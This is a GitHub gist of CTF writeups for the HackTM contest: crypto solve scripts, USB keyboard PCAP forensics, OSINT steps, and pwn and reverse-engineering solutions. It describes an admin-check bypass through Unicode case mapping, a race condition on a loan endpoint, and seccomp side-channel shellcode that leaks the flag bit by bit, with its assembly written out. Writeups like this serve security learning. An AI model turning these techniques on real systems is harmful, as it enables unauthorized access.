Skip to content

Instantly share code, notes, and snippets.

@Aplet123
Last active November 26, 2022 17:30
Show Gist options
  • Save Aplet123/9a9b24ecd8671942cb94000ef91426c1 to your computer and use it in GitHub Desktop.
Save Aplet123/9a9b24ecd8671942cb94000ef91426c1 to your computer and use it in GitHub Desktop.

HackTM Writeups

I participated in HackTM with team DiceGang. Here are the writeups for the challenges that we solved.

Crypto

RSA is Easy #1

We are given a public key and an encrypted flag, which seems to be encrypted character by character. Using the provided public key we encrypt every possible character (0...255) and substitute each value in the encrypted flag with the corresponding character. Solve script:

# pk = public key
# ef = encrypted flag
e,n = pk
lookup = []
for i in range(256):
    lookup.append(pow(i,e,n))
flag = ""
for i in ef:
    flag += chr(lookup.index(i))
print(flag)

This gives us the flag: HackTM{why_ar3_MY_pR1va7es_pu8l1C_??}

RSA is Easy #2

We are again given a flag which has been encrypted character by character, but this time we don't get the public key. This prevents us from encrypting each possible character ourselves. However, the system still boils down to a substitution cipher. Since the flag is over a thousand characters long, we were able to use frequency analysis. The following script converts C, which is the list of ciphertext integers, into dummy characters.

C = [...]

table = dict()
current = 0
for c in C:
    if c not in table:
        table[c] = chr(ord('a') + current)
        current += 1

cipher = ''.join(map(lambda x: table[x], C))
print(cipher)

We plugged the output into quipqiup for preliminary analysis. We could make out that the fifth character was a space, and replaced all occurrences of it accordingly. Plugging that into quipqiup was sufficient for reading the flag.

Prison Break

This is a standard use case for segment treess. Basically we use lazy propagation to amortize the cost of range additions and only compute each element's value at the end.

from tqdm import tqdm
import leonLPST

tree = leonLPST.LPSTree(10**7, modulo=10)

with open('Given_File.txt') as f:
    for line in tqdm(f.readlines()):
        a, b, c = [int(x) for x in line.strip().split(' ')]
        if a != b:
            tree.add(a, b, c)
print('done!')

thing = [tree[x] for x in tqdm(xrange(tree.n))]

product = 1
for x in tqdm(thing):
    if x > 0:
        product *= x
        product %= 999999937
print(product)

Bad Keys

The provided source code was very confusing since p and q were never defined, but then p was defined later ??? The keys looked pretty big but apparently they were "bad keys" and there were a lot of them so we guessed that there was probably some common factor attack or something. Script for finding common factors below:

from pwn import *
from fractions import gcd
conn = remote('138.68.67.161',60005)
conn2 = remote('138.68.67.161',60005)
for i in range(10):
	conn.sendline('k')
	conn2.sendline('k')
	a = eval(conn.recvline_contains('((65537'))[0][1]
	b = eval(conn2.recvline_contains('((65537'))[0][1]
	x = gcd(a,b)
    print(x)

After running this program for a bit, we get the following values:

12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129864081
12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129864747
12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129864949

We can see that all of these primes differ by less than 1000. Since the key for the flag was generated less than 10000 messages ago, we should only need to check 10^7 values before the first prime for a factor of n. The script below bruteforces all possible numbers that one of the primes could be.

n = 2318553827267041599931064141028026591078453523755133761420994537426231546233197332557815088229590256567177621743082082713100922775483908922217521567861530205737139513575691852244362271068595653732088709994411183164926098663772268120044065766077197167667585331637038825079142327613226776540743407081106744519
p = 12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
for i in range(10000000):
    if n%(p-i)==0:
        print(p-i)
        break

Running this gives us that one of the primes is 12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580128178823. From here it is trivial to get the flag through standard RSA decryption: HackTM{SanTa_ple@s3_TakE_mE_0ff_yOur_l1st_4f2d20ec18}

Count on Me

stupid crypto

We are given a program for encrypting and decrypting AES-256-CBC. We are also given an IV and a ciphertext. We're not directly given a key, but we do have a mysterious key.png consisting of 59 symbols, 3 of which are blurred out and thus unreadable. Presumably this represents the key in some twisted way. wtf This seems terrible already, as we only have 59 symbols and we need 64 hex characters for an AES key. I would have given up on this challenge at this point but the remaining two crypto challenges were Cubeworld 1 and Cubeworld 2, and I definitely did not want to deal with those.

So I took a stab at deciphering this image. We notice that each readable symbol except for the loopy thing consists of a top portion with at most 3 roughly horizontal lines, and a bottom portion wth at most 4 roughly vertical lines. We can assume that the loopy thing probably represents some sort of placeholder for the symbol with 0 lines. If we assume that the top portion consists of anywhere from 0 to 3 lines and the bottom portion consists of anywhere from 0 to 4 lines, we can encode 4*5=20 possible symbols (base 20??). A quick calculation in Wolfram|Alpha tells us that 20^59 is approximately equal to 16^64, so it is possible to encode a key of 64 hex digits with this image without losing information. We plan to turn the image into a key by converting each symbol into a base 20 digit and converting that to base 16. We figure that each horizontal line probably represents 5 since there are at most 4 vertical lines. There are 3 unknown symbols, but that's fine since we can just bruteforce all 8000 possibilities. Script is below.

from Crypto.Cipher import AES
c = '059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex')
iv = '42042042042042042042042042042042'.decode('hex')
a = "34 03 20 30 02 ?? 31 31 33 22 34 11 34 22 13 ?? 10 13 32 33 33 10 14 03 21 20 01 20 20 00 20 ?? 00 13 33 20 00 30 33 10 33 24 34 01 01 00 04 11 30 04 21 31 20 13 24 10 23 31 14".split(" ")
s = 0
for i in a:
    s*=20
    if i!="??":
        s+=int(i,5)
for x in range(20):
    for y in range(20):
        for z in range(20):
            k = s
            k+=x*pow(20,27)
            k+=y*pow(20,43)
            k+=z*pow(20,53)
            key = hex(k)[2:].rstrip('L').zfill(64).decode('hex')
            aes = AES.new(key,AES.MODE_CBC, iv)
            a = aes.decrypt(c)
            if all(ord(i)<128 for i in a):
                print a

The output of this program is HackTM{can_1_h@ve_y0ur_numb3r_5yst3m_??}000000000000000000000000, giving us the flag: HackTM{can_1_h@ve_y0ur_numb3r_5yst3m_??}

Forensics

Strange PCAP

We are given a PCAP file. Opening the file in Wireshark, we see that it contains numerous USB packets. We figure that it's probably a keyboard capture since that's a common thing in CTFs. We use the following script to extract keyboard inputs:

from __future__ import print_function
import json
with open("dissections.json") as f:
	data = json.load(f)
m = {
0:"",2:"PostFail",4:"a",5:"b",6:"c",7:"d",8:"e",9:"f",10:"g",11:"h",12:"i",13:"j",14:"k",15:"l",16:"m",17:"n",18:"o",19:"p",20:"q",21:"r",22:"s",23:"t",24:"u",25:"v",26:"w",27:"x",28:"y",29:"z",30:"1",31:"2",32:"3",33:"4",34:"5",35:"6",36:"7",37:"8",38:"9",39:"0",40:"\n",41:"esc",42:"del",43:"\t",44:" ",45:"-",47:"[",48:"]",56:"/",57:"CapsLock",79:"RightArrow",80:"LeftArrow"
}
M = {
0:"",2:"PostFail",4:"A",5:"B",6:"C",7:"D",8:"E",9:"F",10:"G",11:"H",12:"I",13:"J",14:"K",15:"L",16:"M",17:"N",18:"O",19:"P",20:"Q",21:"R",22:"S",23:"T",24:"U",25:"V",26:"W",27:"X",28:"Y",29:"Z",30:"!",31:"@",32:"#",33:"$",34:"%",35:"^",36:"&",37:"*",38:"(",39:")",40:"\n",41:"ESC",42:"DEL",43:"\t",44:" ",45:"_",47:"{",48:"}",56:"?",57:"CapsLock",79:"RightArrow",80:"LeftArrow"
}
g = 0
for i in data:
	if "usb.capdata" in i["_source"]["layers"]:
		a = map(lambda x:int(x,16),i["_source"]["layers"]["usb.capdata"].split(":"))
		if len(a)==8:
			if a[0]: print(M[a[2]],end="")
			else: print(m[a[2]],end="")
	g+=1

This outputs

7vgj4SSL9NHVuK0D6d3F

with a newline at the end. This is probably a password to something. We also look for anything that may contain the flag. Using the display filter frame matches "flag", we get one result at packet 1224. This turns out to be a zip file. When we try to extract it, we are prompted for a password, so we enter 7vgj4SSL9NHVuK0D6d3F and it works. Opening Flag.txt gives us the flag. HackTM{88f1005c6b308c2713993af1218d8ad2ffaf3eb927a3f73dad3654dc1d00d4ae}

Misc

Romanian Gibberish

Just get rid of all the ps.

The dragon sleeps at night

Get 9e9 money, buy a level 5 sword, put it in storage, then sleep for -1 nights and slay the dragon.

Shifty

Solve script. The whole "shifty" puzzle is actually just the loopover game that carykh made, so the solve script just implements the standard loopover method that speedrunners have been using. For stage 5 you just brute force every possible mapping and send a solution.

Chip8 1

The F X 29 (sprite_addr) instruction simply sets I to Vx * 5. The spritesheet is only valid for values of Vx <= 0xf however this instruction doesn't check the value. So we can obtain a value of I inside the protected memory region and draw the bytes of the flag using the draw command. After we draw it, we simply convert each row of 8 pixels to the corresponding byte value.

Chip8 2

The built-in debugger shows the last executed instruction's two-byte hex code. So we can simply do a jump (1 NNN) into protected memory, causing the interpreter to read that memory as an instruction and display it in the debugger.

Web

Draw With Us

Upon inspecting the source, we can see that /updateUser uses toLowerCase to check if your username matches the admin username, but the registration uses toUpperCase to check if your username matches the admin username. Conveniently, U+212A or is the standard ASCII k when lowercased but not the standard ASCII K when uppercased. So, we can register with the username hacKtm and gain access to /updateUser. We want to get the value n from the config, but we can't simply set our additional rights to ["n"] since n is blacklisted. So, we abuse js type coercion and pass [["n"]] instead. Then, we just make a request to /init with p=n and q=1 and we get a signed admin JWT token, with which we can make a request to /flag.

My Bank

When loaning money, it sends a post request to /. We can simply recreate this request in a for loop 30 times in order to create a race condition and get more than the 600 dollar maximum loan. Then, we can just buy the flag.

OSINT

OLD Times

A guy named Vlaicu Petronel is mentioned in the problem statement. We perform a google search for this name and end up at his twitter, @PetronelVlaicu.

We go on a trip down the rabbit hole, stalking a mysterious man named VenaticalManx58 who is one of Vlaicu's followers on Twitter. He appears very suspicious. We waste lots of time on him.

We look back to the challenge for any other hints. The title looks interesting: OLD Times. We figure this may be a reference to the Wayback Machine: we see 9 captures logged on 12/6 and 2 the day after; none at any other time. This isn't normal, so we figured it must be planned by the organizers.

Indeed, the captures reveal Petronel's deleted tweets. At one point he tweeted and deleted the following string: 1XhgPI0jpK8TjSMmSQ0z5Ozcu7EIIWhlXYQECJ7hFa20. Later on he tweeted and then deleted I love Google G Suite services!.

GSuite services are products like Google Docs, Slides, etc., so we figure that the 1Xhg... string must be part of a Google Docs/etc URL since it doesn't appear to decode to anything useful.

Google's format for Docs/Slides https://docs.google.com/document/{service name}/{identifier}/edit. We try plugging the service name for Google Docs (d) and identifier in, and it gives us this document, containing us information about a suspicious guy named Iovescu Marian.

In small text at the top, the report states that Iovescu goes by the name E4gl3OfFr3ed0m online.

The report details that he published his work on a free and open platform, but later deleted it. This seems to be hinting towards version control platforms like GitHub. Thus, we check GitHub for E4gl3OfFr3ed0m's account, and we find one account. His status shows the Romanian flag along with the text, Beliver, confirming that he is probably Iovescu.

Iovescu only has 1 repository, named resistance. When we inspect it, we find README.md and heart.jpg. Inspecting the commit history reveals that E4gl3OfFr3ed0m had a file named spread_locations.php. The source will be useful later. We probe the files deeper. Upon inspection, README.md actually has a commented link to a site, which we only found through viewing the raw markdown file.

This site returns a 403 error upon visiting it. However, we can use information we previously gathered and try to visit /spread_locations.php. Voila, it doesn't return a 403!

When we look at the spread_locations.php source from commit 7f284eee2c71cf993f8e217c48cbd47cf15ba923, we see that it will return a location corresponding to a number that the user requests, if the number is between [0, 128]. Also there is a pretty glaringly obvious XSS attack on this but oh well, it won't matter in the long run when we track down who's trying to overthrow the communist government of Romania.

We can use the following script to extract all locations:

import requests

for i in range(129):
	p = requests.get("http://138.68.67.161:55555/spread_locations.php?region="+str(i))
	print(p.text.split(" ", 1)[1])

This will print out a list of coordinates. We assume they are longitude and latitude pairs. However, when we plug a sample coordinate in, we only see some Middle-Eastern men looking at a dysfunctional magic carpet. No luck.

Then, we attempt to plot them. This can be done by saving location markers in Google Maps, or even just graphing the points in Desmos.

The resulting plot will spell out the flag.

Pwn

Obey the Rules

We see that a remote file (RULES.txt) is read into memory and used as the argument to set seccomp restrictions. Then we have the ability to enter 0xb bytes of shellcode. From executing /bin/sh it is clear that certain syscalls are restricted. Additionally, since we can see the Bad syscall message, we know we have stderr output.

The first step is to read more shellcode into the RWX buffer:

push   rax
pop    rsi
xor    edi,edi
xor    eax,eax
syscall

I spent awhile trying various forms of ORW shellcode with no success; specifically write was no longer a valid syscall. Then I realized we can leak information by conditionally hitting a certain type of error. I created this read_bit primitive:

def read_bit(addr, bit, pre_code=''):
    s = remote('138.68.67.161', 20001)

    shellcode = binascii.unhexlify('505E31FF31C00F05')
    s.sendline('Y\x00' + shellcode)

    dump_mem = pre_code + '''
    mov rsi, %d
    mov al, byte ptr [rsi]
    sar al, %d
    and al, 0x1
    jnz good
    mov rax, 5
    syscall
    good:
    int3
    ''' % (addr, bit)

    s.sendline('a' * 10 + asm(dump_mem))
    d = s.recvuntil('(core dumped)')

    s.close()

    if 'Trace' in d:
        return 1
    else:
        return 0

Here we check a single bit and either perform a bad syscall or hit a trace breakpoint. I used this primitive to construct a read_byte primitive and dumped the entire bpf (RULES.txt) into a file. Then I used seccomp-tools to analyze the filter:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x08 0x00 0x40000000  if (A >= 0x40000000) goto 0012
 0004: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0011
 0005: 0x15 0x05 0x00 0x0000003c  if (A == exit) goto 0011
 0006: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0012
 0007: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0008: 0x15 0x00 0x02 0x00000003  if (A != 0x3) goto 0011
 0009: 0x20 0x00 0x00 0x00000018  A = buf # read(fd, buf, count)
 0010: 0x15 0x00 0x01 0x00602888  if (A != 0x602888) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

So now it is clear that we need to read from address 0x602888. So we can use the following second stage shellcode to read the flag into memory:

mov rax, 0x7478
push rax
mov rax, 0x742e67616c662f6e
push rax
mov rax, 0x77702f656d6f682f
push rax
push rsp
pop rdi
mov rax, 2
syscall

mov rdi, rax
mov rsi, 0x602888
mov rax, 0
mov rdx, 64
syscall

Then we simply use the same side-channel leak as before to dump the flag memory.

Twisty

This binary implements a 4x4 sliding puzzle. After some reversing we see that moves are internally represented as a value from 0 - 0xf (16 possible moves). Additionally moves are saved in a stack buffer and we have the ability to list moves and undo moves.

The stack layout is as follows:

[moves (0x800)]
[move_counter]
[stack_cookie]
[...]
[saved rip]

We first overflow the move buffer onto the move counter and write a large nibble to obtain a value of 0x10f1 which allows us to read both the stack cookie and leak a libc address. Next we "undo" moves (decrement move_counter) until we are able to write a value on top of rip. We can use a magic gadget here.

Now unfortunately, the only place we actually hit a ret is when we solve the puzzle. So here I used my teammates algorithm from shifty to solve the puzzle (essentially appending junk bytes after rip on the stack).

Rev

baby bear

After observing the behaviour of the binary, we see that our input bytestream is compressed into a smaller stream. Furthermore, changing the first byte of our input changes the first bits in the output and changing the last bytes changes the last bits in the output.

So we can simply brute force a valid input byte by byte by greedily taking the current input that shares the longest prefix with our target output.

papa bear

This binary takes a string input and outputs some ascii art. In the binary, we see the initial ascii art consists of a pattern with no W's. Yet in our output, we see some of the M's have been flipped to W's. At this point, I guessed that the binary is encoding our input into this pattern.

I wrote a function to strip all characters except W and M and convert W to 1 and M to 0. Then we notice that like baby bear, the first bytes affect only the first part of the output pattern. Therefore, we can simply do the same greedy approach and brute force the flag byte by byte.

PLOP

This binary does some tricky things with signal handlers to obfuscate the control flow. To run it in gdb we need to do something like:

handle SIGSEGV noprint nostop pass
handle SIGALRM noprint nostop pass

We eventually find that fini_3 sets up a SIGSEGV handler that acts as an unpacker. Essentially, this handler is triggered with information about the faulting instruction and it will decode part of the subsequent code and return execution.

In fini_2 we hit a faulting instruction and trigger the handler. This happens several more times recursively and during each call we check 8 bytes of our input. The first unpacked segment looks like:

0x7ffff7ff7000:    mov    rax,QWORD PTR ds:0x1337000
0x7ffff7ff7008:    rol    rax,0xe
0x7ffff7ff700c:    movabs rdx,0xdc3126bd558bb7a5
0x7ffff7ff7016:    xor    rax,rdx
0x7ffff7ff7019:    mov    r8,QWORD PTR ds:0x1337080
0x7ffff7ff7021:    cmp    r8,0x0
0x7ffff7ff7025:    jne    0x7ffff7ff7031
0x7ffff7ff7027:    mov    QWORD PTR ds:0x1337080,rax
0x7ffff7ff702f:    jmp    0x7ffff7ff7051
0x7ffff7ff7031:    cmp    rax,QWORD PTR ds:0x1337080
0x7ffff7ff7039:    mov    bx,WORD PTR ds:0x1337064
0x7ffff7ff7041:    mov    ax,0x1
0x7ffff7ff7045:    cmovne bx,ax
0x7ffff7ff7049:    mov    WORD PTR ds:0x1337064,bx

We can put all of these checks into the following, beautiful z3 script and get the flag:

from z3 import *
import binascii

s = Solver()

a = BitVec('a', 64)
b = BitVec('b', 64)
c = BitVec('c', 64)
d = BitVec('d', 64)
e = BitVec('e', 64)
f = BitVec('f', 64)
g = BitVec('g', 64)
i = BitVec('i', 64)

t = RotateLeft(a, 0xe) ^ 0xdc3126bd558bb7a5
s.add(b == RotateRight(t ^ 0x76085304e4b4ccd5, 0x28))
h = RotateLeft(b, 0x28) ^ 0x76085304e4b4ccd5
s.add(RotateLeft(c, 0x3e) ^ 0x1cb8213f560270a0 == h)
s.add(RotateLeft(d, 2) ^ 0x4ef5a9b4344c0672 == h)
s.add(e == RotateRight(h ^ 0xe28a714820758df7, 0x2d))
h = RotateLeft(e, 0x2d) ^ 0xe28a714820758df7
s.add(RotateLeft(f, 0x27) ^ 0xa0d78b57bae31402 == h)
v = 0x4474f2ed7223940
v = ((v << 0x35) | (v >> (64-0x35))) & 0xffffffffffffffff
s.add(RotateRight(v ^ g, 0x35) == h)
s.add(RotateRight(h^0xb18ceeb56b236b4b, 0x19) == i)
h = RotateLeft(i, 0x19) ^ 0xb18ceeb56b236b4b

s.add(Extract(7,0,a) == ord('H'))
s.add(Extract(15,8,a) == ord('a'))
s.add(Extract(23,16,a) == ord('c'))
s.add(Extract(31,24,a) == ord('k'))
s.add(Extract(39,32,a) == ord('T'))
s.add(Extract(47,40,a) == ord('M'))
s.add(Extract(55,48,a) == ord('{'))
s.add(Extract(63,56,a) == ord('P'))

def pp(t):
    return binascii.unhexlify(hex(t)[2:].zfill(16))[::-1]

s.check()
m = s.model()

print(''.join([pp(m[x].as_long()) for x in [a,b,c,d,e,f,g,i]]))

hackdex

We are given a rust binary that performs some translations using a word mapping. After some initial reversing, we see that we can enter the secret dex::extra by patching our version number and entering 9.

This function lets us enter up to six words (printing correct or incorrect each time) and then performs a sha256 hash followed by a decryption routine.

The checker portion calls dex::get_valid_words which appears to return an empty hashmap. Then our input is validated with HashMap...contains_key to check for inclusion. This step tripped me up for awhile because the hash map is always empty so we can never get a valid key. A while later the hint was released "The binary is still in development. The final version would have let you play boggle". This hint seems to indicate that dex::get_valid_words is intentionally not implemented. Furthermore, we see that right before this, we initialize some sort of character matrix consisting of 3x3 or 3x4 letters.

After these six calls, we see that our inputs are concatenated together, hashed with sha256 and validated. This concatenation is used as the key to the decryption routine.

I took the english words in the wordlist and filtered each stage by which set of words could be constructed with the corresponding letter matrix and obtained six sets of words. Then I simply ran a brute force search to check for the target hash.

Once I had the correct words, I simply patched the binary to skip the contains_key checks and entered the words to get the binary to print the flag.

mama bear

The binary takes an 8-byte password and a 32-byte "secret". It does some operations and outputs a new 32-byte hexstring. I reversed the operation and noticed that it implements a sort of stack-based JIT-compiled language. There are 5 operations:

#<x>        :: M[x:x+2] >>= (pass & 7)  :: rotate two bytes at a time by the current password byte
<x>         :: PUSH M[x]                :: push M[x] to the stack
-<x>        :: POP M[x]                 :: pop into M[x]
&           :: MUT                      :: pop the top two values, mutate them with a scary crypto func, push them back
!           :: EXEC                     :: execute the JIT function

Here <x> represents an ascii character from 0x30 to 0x5b which is converted to a value by subtracting 0x30.

The first function simply sets the secret value to trupples twitter account ;p

Then we enter our values and the routine is called 8 more times on 8 different programs. Each time, we preserve our 32-byte memory (M) and the next byte of our password is used (which affects the rotate and mut operations).

To solve this, I wrote a solver script that symbolically executes all 8 functions back to back and uses z3 to solve for the initial secret/password conditions. We actually obtain several possible starting combinations so we also need to ensure the initial value starts with HackTM to constrain the solver to the correct solution.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment